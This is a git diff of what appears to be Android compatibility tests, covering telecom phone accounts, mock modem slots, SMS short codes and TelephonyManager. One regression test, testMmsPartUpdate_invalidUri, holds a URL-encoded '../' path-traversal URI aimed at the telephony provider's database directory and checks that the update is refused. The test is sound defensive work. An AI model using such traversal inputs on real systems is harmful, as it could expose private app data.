+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_SELF_MANAGED);
+ try {
+ // register all accounts for package 1
+ phoneAccountsForPackage1.stream()
+ .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+ // verify all can be fetched
+ verifyCanFetchSelfManagedPhoneAccounts();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchSelfManagedPhoneAccounts();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ Log.i(TAG, "testGettingLargeSelfManagedPhoneAccountHandlePayload:"
+ + " illegal arg exception thrown.");
+ } finally {
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
+ /**
+ * Test the scenario where {@link android.telecom.TelecomManager#getAllPhoneAccountHandles()}
+ * is called with a heavy payload that could cause a {@link
+ * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting
+ * the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGettingAllPhoneAccountHandlesWithLargePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_SELF_MANAGED);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_SELF_MANAGED);
+ try {
+ // register all accounts for package 1
+ phoneAccountsForPackage1.stream()
+ .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccountHandles();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccountHandles();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ } finally {
+
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
+ /**
+ * Test the scenario where {@link TelecomManager#getAllPhoneAccounts()}
+ * is called with a heavy payload that could cause a {@link
+ * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting
+ * the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGetAllPhoneAccountsWithLargePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(),
+ CAPABILITY_CALL_PROVIDER
+ | PhoneAccount.CAPABILITY_SIM_SUBSCRIPTION);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS,
+ CAPABILITY_SELF_MANAGED);
+ try {
+ // register all accounts for package 1
+ for (PhoneAccount pa : phoneAccountsForPackage1) {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelecomManager,
+ tm -> tm.registerPhoneAccount(pa), REGISTER_SIM_SUBSCRIPTION_PERMISSION);
+ }
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccounts();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccounts();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ } finally {
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
// -- The following are helper methods for this testing class. --
+ private String generateLargeString(int size, String repeatStrValue) {
+ StringBuilder sb = new StringBuilder();
+ for (int i = 0; i < size; i++) {
+ sb.append(repeatStrValue);
+ }
+ return sb.toString();
+ }
+
+ private List<PhoneAccount> generatePhoneAccountsForPackage(ComponentName cn, String baseId,
+ int numOfAccountsToRegister, int capabilities) {
+ List<PhoneAccount> accounts = new ArrayList<>();
+
+ for (int i = 0; i < numOfAccountsToRegister; i++) {
+ String id = baseId + i;
+ PhoneAccountHandle pah = new PhoneAccountHandle(cn, id);
+ // create phoneAccount
+ String number = TEL_PREFIX + i;
+ PhoneAccount pa = PhoneAccount.builder(pah, TestUtils.ACCOUNT_LABEL)
+ .setAddress(Uri.parse(number))
+ .setSubscriptionAddress(Uri.parse(number))
+ .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+ .setCapabilities(capabilities)
+ .build();
+ accounts.add(pa);
+ }
+ return accounts;
+ }
+
+ public void bindToSecondTestPackageAndRegisterAccounts(List<PhoneAccount> accounts)
+ throws Exception {
+ bindToSecondTestPackage();
+ registerAccountsToSecondTestPackage(accounts);
+ }
+
+ public void unbindSecondTestPackageAndUnregisterAccounts(List<PhoneAccount> accounts) {
+ try {
+ mContext.unbindService(mControl);
+ unRegisterAccountsForSecondTestPackage(accounts);
+ } catch (Exception e) {
+ Log.d(TAG,
+ "exception thrown while trying to unbind and unregister accts for 2nd package");
+ }
+ }
+
+ public void bindToSecondTestPackage() throws RemoteException {
+ // Set up binding for second package. This is needed in order to bypass a SecurityException
+ // thrown by a second test package registering phone accounts.
+ mControl = setUpControl(CAR_MODE_CONTROL, SELF_MANAGED_CAR_RELATIVE_COMPONENT);
+ mSecondaryTestPackageControl =
+ ICtsCarModeInCallServiceControl.Stub.asInterface(mControl.getService());
+ // reset all package variables etc.
+ if (mSecondaryTestPackageControl != null) {
+ mSecondaryTestPackageControl.reset(); //... done setting up binding
+ }
+ }
+
+ public void registerAccountsToSecondTestPackage(List<PhoneAccount> accounts)
+ throws Exception {
+ if (mSecondaryTestPackageControl != null) {
+ for (PhoneAccount p : accounts) {
+ mSecondaryTestPackageControl.registerPhoneAccount(p);
+ TestUtils.enablePhoneAccount(getInstrumentation(), p.getAccountHandle());
+ }
+ }
+ }
+
+ public void unRegisterAccountsForSecondTestPackage(List<PhoneAccount> accounts)
+ throws RemoteException {
+ if (mSecondaryTestPackageControl != null) {
+ for (PhoneAccount p : accounts) {
+ mSecondaryTestPackageControl.unregisterPhoneAccount(p.getAccountHandle());
+ }
+ }
+ }
+
+ public void verifyCanFetchCallCapableAccounts() {
+ List<PhoneAccountHandle> res =
+ mTelecomManager.getCallCapablePhoneAccounts(true);
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ public void verifyCanFetchAllPhoneAccountHandles() {
+ List<PhoneAccountHandle> res =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelecomManager, (tm) -> tm.getAllPhoneAccountHandles(),
+ MODIFY_PHONE_STATE_PERMISSION);
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ public void verifyCanFetchAllPhoneAccounts() {
+ List<PhoneAccount> res =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelecomManager, (tm) -> tm.getAllPhoneAccounts(),
+ MODIFY_PHONE_STATE_PERMISSION);
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ public void verifyCanFetchSelfManagedPhoneAccounts() {
+ List<PhoneAccountHandle> res =
+ mTelecomManager.getSelfManagedPhoneAccounts();
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ private int numberOfPhoneAccountsCtsPackageCanRegister() {
+ return MAX_PHONE_ACCOUNT_REGISTRATIONS - getNumberOfPhoneAccountsRegisteredToTestPackage();
+ }
+
private TestServiceConnection setUpControl(String action, ComponentName componentName) {
Intent bindIntent = new Intent(action);
bindIntent.setComponent(componentName);
@@ -257,17 +588,24 @@ public class PhoneAccountRegistrarTest extends BaseTelecomTestWithMockServices {
* getPhoneAccountsForPackage() method.
*/
private void cleanupPhoneAccounts() {
- if (mTelecomManager != null) {
- // Get all handles registered to the testing package
- List<PhoneAccountHandle> handles = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
- "android.permission.READ_PRIVILEGED_PHONE_STATE");
-
- // cleanup any extra phone accounts registered to the testing package
- if (handles.size() > 0 && mTelecomManager != null) {
- handles.stream().forEach(
- d -> mTelecomManager.unregisterPhoneAccount(d));
+ try {
+ if (mTelecomManager != null) {
+ // Get all handles registered to the testing package
+ List<PhoneAccountHandle> handles =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
+ READ_PHONE_STATE_PERMISSION);
+
+ // cleanup any extra phone accounts registered to the testing package
+ if (handles.size() > 0 && mTelecomManager != null) {
+ handles.stream().forEach(
+ d -> mTelecomManager.unregisterPhoneAccount(d));
+ }
+
+ TestUtils.executeShellCommand(getInstrumentation(), TELECOM_CLEANUP_ACCTS_CMD);
}
+ } catch (Exception e) {
+ Log.d(TAG, "cleanupPhoneAccounts: hit exception while trying to clean");
}
}
@@ -281,7 +619,7 @@ public class PhoneAccountRegistrarTest extends BaseTelecomTestWithMockServices {
if (mTelecomManager != null) {
return ShellIdentityUtils.invokeMethodWithShellPermissions(
mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
- "android.permission.READ_PRIVILEGED_PHONE_STATE").size();
+ READ_PHONE_STATE_PERMISSION).size();
}
return 0;
}
diff --git a/tests/tests/telephony/OWNERS b/tests/tests/telephony/OWNERS
index 02848c89f46..89e4f4dc2b0 100644
--- a/tests/tests/telephony/OWNERS
+++ b/tests/tests/telephony/OWNERS
@@ -1,2 +1,17 @@
-file:platform/frameworks/opt/telephony:/OWNERS
-
+# Bug component: 20868
+amagup@google.com
+amallampati@google.com
+amruthr@google.com
+breadley@google.com
+chinmayd@google.com
+fionaxu@google.com
+huiwang@google.com
+jackyu@google.com
+jayachandranc@google.com
+linggm@google.com
+rgreenwalt@google.com
+sarahchin@google.com
+sasindran@google.com
+tgunn@google.com
+tjstuart@google.com
+xiaotonj@google.com
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
index f2523a4018e..0bed8a7fa6d 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
@@ -34,6 +34,7 @@ import java.util.concurrent.TimeUnit;
public class MockModemService extends Service {
private static final String TAG = "MockModemService";
+ private static final String RESOURCE_PACKAGE_NAME = "android";
public static final int TEST_TIMEOUT_MS = 30000;
public static final String IRADIOCONFIG_INTERFACE = "android.telephony.mockmodem.iradioconfig";
@@ -233,9 +234,18 @@ public class MockModemService extends Service {
}
public int getNumPhysicalSlots() {
- int numPhysicalSlots =
+ int numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MIN;
+ int resourceId =
sContext.getResources()
- .getInteger(com.android.internal.R.integer.config_num_physical_slots);
+ .getIdentifier(
+ "config_num_physical_slots", "integer", RESOURCE_PACKAGE_NAME);
+
+ if (resourceId > 0) {
+ numPhysicalSlots = sContext.getResources().getInteger(resourceId);
+ } else {
+ Log.d(TAG, "Fail to get the resource Id, using default: " + numPhysicalSlots);
+ }
+
if (numPhysicalSlots > MockSimService.MOCK_SIM_SLOT_MAX) {
Log.d(
TAG,
@@ -245,6 +255,15 @@ public class MockModemService extends Service {
+ MockSimService.MOCK_SIM_SLOT_MAX
+ ").");
numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MAX;
+ } else if (numPhysicalSlots <= MockSimService.MOCK_SIM_SLOT_MIN) {
+ Log.d(
+ TAG,
+ "Number of physical Slot ("
+ + numPhysicalSlots
+ + ") < mock sim slot support. Reset to min number supported ("
+ + MockSimService.MOCK_SIM_SLOT_MIN
+ + ").");
+ numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MIN;
}
return numPhysicalSlots;
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
index 81839255dec..026710b67d1 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
@@ -63,6 +63,7 @@ public class MockSimService {
private static final int MOCK_SIM_SLOT_1 = 0;
private static final int MOCK_SIM_SLOT_2 = 1;
private static final int MOCK_SIM_SLOT_3 = 2;
+ public static final int MOCK_SIM_SLOT_MIN = 1;
public static final int MOCK_SIM_SLOT_MAX = 3;
/* Default value definition */
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
index 24a994083dc..e5cf5d465c1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
@@ -288,8 +288,19 @@ public class SmsUsageMonitorShortCodeTest {
new ShortCodeTest("it", "116117", SMS_CATEGORY_FREE_SHORT_CODE),
new ShortCodeTest("it", "4567", SMS_CATEGORY_NOT_SHORT_CODE),
new ShortCodeTest("it", "48000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
- new ShortCodeTest("it", "45678", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "45678", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
new ShortCodeTest("it", "56789", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "44000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "47000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "48000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "4450000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "4750000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "4850000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "44500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "47500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "48500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "45500", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "49900", SMS_CATEGORY_PREMIUM_SHORT_CODE),
new ShortCodeTest("it", "456789", SMS_CATEGORY_NOT_SHORT_CODE),
new ShortCodeTest("kg", "112", SMS_CATEGORY_NOT_SHORT_CODE),
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 3757b632d28..e2fdef7ed9d 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -109,6 +109,7 @@ import android.util.Pair;
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.CarrierPrivilegeUtils;
import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -283,6 +284,7 @@ public class TelephonyManagerTest {
private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5);
private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
+ private static final int RADIO_HAL_VERSION_2_0 = makeRadioVersion(2, 0);
static {
EMERGENCY_NUMBER_SOURCE_SET = new HashSet<Integer>();
@@ -1250,43 +1252,70 @@ public class TelephonyManagerTest {
private static final String ISO_COUNTRY_CODE_PATTERN = "[a-z]{2}";
@Test
+ @ApiTest(apis = "android.telephony.TelephonyManager#getNetworkCountryIso")
public void testGetNetworkCountryIso() {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
String countryCode = mTelephonyManager.getNetworkCountryIso();
- assertTrue("Country code '" + countryCode + "' did not match "
- + ISO_COUNTRY_CODE_PATTERN,
- Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+ ServiceState serviceState = mTelephonyManager.getServiceState();
+ if (serviceState != null && (serviceState.getState()
+ == ServiceState.STATE_IN_SERVICE || serviceState.getState()
+ == ServiceState.STATE_EMERGENCY_ONLY)) {
+ assertTrue("Country code '" + countryCode + "' did not match "
+ + ISO_COUNTRY_CODE_PATTERN,
+ Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+ } else {
+ assertTrue("Country code could be empty when out of service",
+ Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)
+ || TextUtils.isEmpty(countryCode));
+ }
- for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
- SubscriptionInfo subscriptionInfo =
- mSubscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(i);
- if (subscriptionInfo != null) {
- countryCode = mTelephonyManager.getNetworkCountryIso(i);
+ int[] allSubs = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mSubscriptionManager, (sm) -> sm.getActiveSubscriptionIdList());
+ for (int i : allSubs) {
+ countryCode = mTelephonyManager.getNetworkCountryIso(
+ SubscriptionManager.getSlotIndex(i));
+ serviceState = mTelephonyManager.createForSubscriptionId(i).getServiceState();
+
+ if (serviceState != null && (serviceState.getState()
+ == ServiceState.STATE_IN_SERVICE || serviceState.getState()
+ == ServiceState.STATE_EMERGENCY_ONLY)) {
assertTrue("Country code '" + countryCode + "' did not match "
- + ISO_COUNTRY_CODE_PATTERN + " for slot " + i,
+ + ISO_COUNTRY_CODE_PATTERN + " for slot " + i,
Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+ } else {
+ assertTrue("Country code could be empty when out of service",
+ Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)
+ || TextUtils.isEmpty(countryCode));
}
}
+
+ for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
+ countryCode = mTelephonyManager.getNetworkCountryIso(i);
+ assertTrue("Country code must match " + ISO_COUNTRY_CODE_PATTERN + "or empty",
+ Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)
+ || TextUtils.isEmpty(countryCode));
+ }
}
@Test
public void testSetSystemSelectionChannels() {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
List<RadioAccessSpecifier> channels;
try {
- channels = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, TelephonyManager::getSystemSelectionChannels);
+ uiAutomation.adoptShellPermissionIdentity();
+ channels = mTelephonyManager.getSystemSelectionChannels();
} catch (IllegalStateException e) {
// TODO (b/189255895): Allow ISE once API is enforced in IRadio 2.1.
Log.d(TAG, "Skipping test since system selection channels are not available.");
return;
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
}
LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue<>(1);
- final UiAutomation uiAutomation =
- InstrumentationRegistry.getInstrumentation().getUiAutomation();
try {
uiAutomation.adoptShellPermissionIdentity();
// This is a oneway binder call, meaning we may return before the permission check
@@ -1303,20 +1332,29 @@ public class TelephonyManagerTest {
uiAutomation.dropShellPermissionIdentity();
}
+ uiAutomation.adoptShellPermissionIdentity();
+
// Try calling the API that doesn't provide feedback. We have no way of knowing if it
// succeeds, so just make sure nothing crashes.
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- tp -> tp.setSystemSelectionChannels(Collections.emptyList()));
+ mTelephonyManager.setSystemSelectionChannels(Collections.emptyList());
// Assert that we get back the value we set.
- assertEquals(Collections.emptyList(),
- ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
- TelephonyManager::getSystemSelectionChannels));
+ assertEquals(Collections.emptyList(), mTelephonyManager.getSystemSelectionChannels());
- // Reset the values back to the original.
- List<RadioAccessSpecifier> finalChannels = channels;
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- tp -> tp.setSystemSelectionChannels(finalChannels));
+ try {
+ // Reset the values back to the original. Use callback to ensure we don't drop
+ // the shell permission until the original state is restored.
+ mTelephonyManager.setSystemSelectionChannels(channels,
+ getContext().getMainExecutor(), queue::offer);
+ Boolean result = queue.poll(1000, TimeUnit.MILLISECONDS);
+ if (result == null || !result) {
+ Log.e(TAG, "Invalid response when resetting initial system selection channels.");
+ }
+ } catch (InterruptedException e) {
+ Log.e(TAG, "Interrupted while resetting initial system selection channels.");
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
}
@Test
@@ -1729,6 +1767,10 @@ public class TelephonyManagerTest {
@Test
public void testRebootRadio() throws Throwable {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
+ if (mRadioVersion <= RADIO_HAL_VERSION_2_0) {
+ Log.d(TAG, "Skipping test since rebootModem is not supported.");
+ return;
+ }
TestThread t = new TestThread(() -> {
Looper.prepare();
@@ -5053,8 +5095,12 @@ public class TelephonyManagerTest {
.adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
try {
mTelephonyManager.setSimSlotMapping(simSlotMapping);
- } catch (IllegalArgumentException e) {
- fail("Not Expected Fail, Error in setSimSlotMapping :" + e);
+ } catch (IllegalArgumentException | IllegalStateException e) {
+ // if HAL version is less than 2.0, vendors may not have implemented API,
+ // skipping the failure.
+ if (mRadioVersion >= RADIO_HAL_VERSION_2_0) {
+ fail("Not Expected Fail, Error in setSimSlotMapping :" + e);
+ }
}
List<UiccSlotMapping> slotMappingList = new ArrayList<>();
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
index 00e4dfe157a..fc5bbbd0ca9 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
@@ -29,6 +29,8 @@ import android.database.Cursor;
import android.net.Uri;
import android.provider.Telephony;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
@@ -127,6 +129,20 @@ public class MmsPartTest {
}
+ /**
+ * Verifies uri path outside the directory of mms parts is not allowed.
+ */
+ @Test
+ @ApiTest(apis = "com.android.providers.telephony.MmsProvider#update")
+ public void testMmsPartUpdate_invalidUri() {
+ ContentValues cv = new ContentValues();
+ Uri uri = Uri.parse("content://mms/resetFilePerm/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.."
+ + "%2F..%2F..%2F..%2F..%2Fdata%2Fuser_de%2F0%2Fcom.android.providers.telephony"
+ + "%2Fdatabases");
+ int cursorUpdate = mContentResolver.update(uri, cv, null, null);
+ assertThat(cursorUpdate).isEqualTo(0);
+ }
+
@Test
public void testMmsPartDelete_canDeleteById() {
Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE);
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
index b96293f6ff1..568277ff24c 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
@@ -36,6 +36,7 @@ import android.content.ContentResolver;
import android.content.Intent;
import android.graphics.drawable.Icon;
import android.net.Uri;
+import android.os.RemoteException;
import android.provider.Settings;
import android.text.Spannable;
import android.text.SpannableString;
@@ -87,28 +88,16 @@ public class TextViewIntegrationTest {
UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
@Before
- public void setup() throws Exception {
+ public void setup() throws RemoteException {
Assume.assumeTrue(
ApplicationProvider.getApplicationContext().getPackageManager()
.hasSystemFeature(FEATURE_TOUCHSCREEN));
- workAroundNotificationShadeWindowIssue();
mSimpleTextClassifier = new SimpleTextClassifier();
sDevice.wakeUp();
dismissKeyguard();
closeSystemDialog();
}
- // Somehow there is a stale "NotificationShade" window from SysUI stealing the inputs.
- // The window is in the "exiting" state and seems never finish exiting.
- // The workaround here is to (hopefully) reset its state by expanding the notification panel
- // and collapsing it again.
- private void workAroundNotificationShadeWindowIssue() throws InterruptedException {
- ShellUtils.runShellCommand("cmd statusbar expand-notifications");
- Thread.sleep(1000);
- ShellUtils.runShellCommand("cmd statusbar collapse");
- Thread.sleep(1000);
- }
-
private void dismissKeyguard() {
ShellUtils.runShellCommand("wm dismiss-keyguard");
}
diff --git a/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt b/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt
index 1f7af462bde..94fc6985c0f 100644
--- a/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt
+++ b/tests/tests/uidmigration/src/android/uidmigration/cts/SharedUserMigrationTest.kt
@@ -87,6 +87,11 @@ class SharedUserMigrationTest {
assertTrue(pkgs.sameAs(Const.INSTALL_TEST_PKG2))
pkgInfo = mPm.getPackageInfo(Const.INSTALL_TEST_PKG, FLAG_ZERO)
assertNull(pkgInfo.sharedUserId)
+ // Upgrading an APK with sharedUserMaxSdkVersion set should not change its UID.
+ assertTrue(installPackage(InstallTest.APK4))
+ val newPkgInfo = mPm.getPackageInfo(Const.INSTALL_TEST_PKG, FLAG_ZERO)
+ assertNull(newPkgInfo.sharedUserId)
+ assertEquals(pkgInfo.applicationInfo.uid, newPkgInfo.applicationInfo.uid)
}
private fun testBestEffort(uid: Int) {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
index 7d73da9dad1..f00f0b13b5c 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
@@ -125,6 +125,8 @@ public class ExactCanvasTests extends ActivityTestBase {
canvas.drawColor(Color.WHITE);
p.setColor(Color.BLACK);
p.setAntiAlias(false);
+ // ensure the lines do not hit pixel edges
+ canvas.translate(0.05f, 0.05f);
float[] pts = {
0, 0, 80, 80, 80, 0, 0, 80, 40, 50, 60, 50
};
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 514c6fadd95..ba1205e5306 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -416,6 +416,7 @@
</activity>
<activity android:name="android.view.cts.InputEventInterceptTestActivity"
+ android:theme="@style/no_starting_window"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
@@ -423,6 +424,7 @@
</activity>
<activity android:name="android.view.cts.input.InputDeviceKeyLayoutMapTestActivity"
+ android:configChanges="keyboardHidden|navigation"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
diff --git a/tests/tests/view/res/values/themes.xml b/tests/tests/view/res/values/themes.xml
index e44b58a7e9c..6579108e7b0 100644
--- a/tests/tests/view/res/values/themes.xml
+++ b/tests/tests/view/res/values/themes.xml
@@ -20,4 +20,8 @@
<item name="android:textAppearanceLarge">@android:style/TextAppearance.Material.Large</item>
</style>
+ <style name="no_starting_window" parent="@android:style/Theme.DeviceDefault">
+ <item name="android:windowDisablePreview">true</item>
+ </style>
+
</resources> \ No newline at end of file
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualAudioTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualAudioTest.java
index 1dd4bd9fbd2..62cc0bfdce6 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualAudioTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualAudioTest.java
@@ -152,9 +152,10 @@ public class VirtualAudioTest {
public void setUp() throws Exception {
MockitoAnnotations.initMocks(this);
Context context = getApplicationContext();
- assumeTrue(
- context.getPackageManager()
